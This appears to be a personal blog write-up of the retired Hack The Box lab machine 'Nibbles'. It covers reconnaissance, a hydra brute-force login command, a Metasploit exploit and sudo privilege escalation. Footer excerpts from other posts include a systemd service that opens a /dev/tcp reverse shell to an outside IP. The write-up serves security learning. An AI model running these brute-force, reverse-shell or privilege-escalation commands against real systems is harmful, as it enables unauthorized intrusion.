Skip to main content

Hackthebox.eu - Retired - Nibbles


Hackthebox.eu - Retired - Nibbles

Recon


As always I start with a simple up/down scan on TCP ports to see what's up.
# nmap -T4 -p- 10.10.10.75 -oX /root/Desktop/HTB/Nibbles/nmapb.xml


Then convert the output to html

# xsltproc /root/Desktop/HTB/Nibbles/nmapb.xml -o /root/Desktop/HTB/Nibbles/nmapb.html


We see port 22 and 80 open, let's scan again on just those ports using -A to finger os/services


# nmap -T4 -A -p22,80 10.10.10.75 -oX /root/Desktop/HTB/Nibbles/nmapf.xml
Then converted the XML to HTML again.


Ok so now we see

Port 22 OpenSSH 7.2p2
Port 80 Apache httpd 2.4.18

And it's most likely a linux box

Let's browse to to port 80 and see what's being served.


Just a little page saying hello world.

As a point of recon let's check the source code for the page to see if there is anything interesting there.



There is a reference here to /nibbleblog/  let's see what's in there

We've got a blog here

Poking around on the site I found the following directory exposed.


Private, Public, tmp  those sound interesting.

Let's run dirbuster against /nibbleblog/ and see what other types of files and folders are present



Found this login page





Also found this file







Username  admin….. Ok so that's a start

























Exploit











Let's focus on trying to get in.

Since we are pretty confident the username is admin let's use hydra to try and get in.

I found this site which helps walk you through using hydra for this purpose


 hydra -l admin -P /usr/share/dirb/wordlists/small.txt 10.10.1075 http-post-form "/nibbleblog/admin.php:username=^USER^&password=^PASS^&Login=Login:Incorrect username or password" -V

I let this run for a bit but while it's just try some logins

Try some default things like password,123456 and other such top passwords. 

I did finally get success using the name of the box for the password

nibbles


There is some sort of protection for multiple logins here on this box, occasionally I could get this error message during testing





After  I got in you can see some of my attempts to get in LOL

Earlier in my research I came across this exploit

Which needed an authenticated session…. Which we now got.

Let's fire up metasploit and load the exploit



We need to set a password, rhosts, username and we need to change the targetURI



After we run we get…..

Shell


Running as nibbler



Dropped into shell….. Get no output back from my commands..

Let's start an interactive bash


That's better

Let's get our user hash

Cd /home/nibbler ls

b02f*********************



What's that personal.zip?

Let's check the sudo privs
nibbler@Nibbles:/home/nibbler/personal/stuff$ sudo -l
sudo -l
sudo: unable to resolve host Nibbles: Connection timed out
Matching Defaults entries for nibbler on Nibbles:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User nibbler may run the following commands on Nibbles:
    (root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh


Interesting nibbler can run the /home/nibbler/personal/stuff/monitor.sh without specifying the password



But that folder doesn't exist, however there is that personal.zip folder


Now we have the files it was looking for


Ok so the script running without sudo

Looks like it gets a bunch of systeminfo and outputs it to the screen.

I simply decided to overwrite the monitor.sh file to cat out the root hash


Echo "cat /root/root.txt" > monitor.sh

Then run the .sh as sudo


b6d745c0*******"*"*"""""
Labels:

Comments

Post a Comment

Popular posts from this blog

HacktheBox - Retired - Frolic

HacktheBox - Retired - Frolic Recon Let's start out with a threader3000 scan Some interesting results here Port 22 and 445 aren't uncommon… but 1880 and 9999 are.. Let's let nmap run through these ports  Option Selection: 1 nmap -p22,445,1880,9999 -sV -sC -T4 -Pn -oA 10.10.10.111 10.10.10.111 Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-05 16:17 EDT Nmap scan report for 10.10.10.111 Host is up (0.060s latency). PORT     STATE SERVICE     VERSION 22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: |   2048 87:7b:91:2a:0f:11:b6:57:1e:cb:9f:77:cf:35:e2:21 (RSA) |   256 b7:9b:06:dd:c2:5e:28:44:78:41:1e:67:7d:1e:b7:62 (ECDSA) |_  256 21:cf:16:6d:82:a4:30:c3:c6:9c:d7:38:ba:b5:02:b0 (ED25519) 445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP) 1880/tcp open  http        Node.js (Express middlewar
Post a Comment
Read more

RingZero CTF - Forensics - Who am I part 2

RingZero CTF - Forensics -  Who am I part 2 Objective: I'm the proud owner of this website. Can you verify that? Solution: Well it took me a bit to figure this one out. I tried looking at the whois records for ringzer0ctf.com I tired looking at the DNS records for the site. I even looked in the Certificate for the site. Then I thought a little be more about the question. It's not asking how I can verify who own the site. It wants me to verify the owner themselves. Luckily at the bottom the page we see who is listed as on the twittter feeds @ringzer0CTF and @ MrUnik0d3r lets check if we can find the PGP for MrUniK0d3r online. I googled PGP and MrUn1k0d3r The very first result is his PGP  keybase.txt with his PGP at the bottom of the file is the flag FLAG-7A7i0V2438xL95z2X2Z321p30D8T433Z
Post a Comment
Read more

Abusing systemctl SUID for reverse shell

Today I came across a box that had the SUID set for systemctl connected as the apache user www-data I was able to get a root reverse shell. This is to document how to use this for privilege escalation. I used a bit from this blog https://carvesystems.com/news/contest-exploiting-misconfigured-sudo/ and a bit from here too https://hosakacorp.net/p/systemd-user.html Step1. Create a fake service I named my LegitService.service I placed it in the /tmp directory on the server. [Unit] UNIT=LegitService Description=Black magic happening, avert your eyes [Service] RemainAfterExit=yes Type=simple ExecStart=/bin/bash -c "exec 5<>/dev/tcp/10.2.21.243/5555; cat <&5 | while read line; do $line 2>&5 >&5; done" [Install] WantedBy=default.target Then in order to add this to a place we can use systemctl to call from I created a link from /tmp, since I didn't have permission to put the file in the normal systemd folders systemctl link /tmp/LegitService.service The
Post a Comment
Read more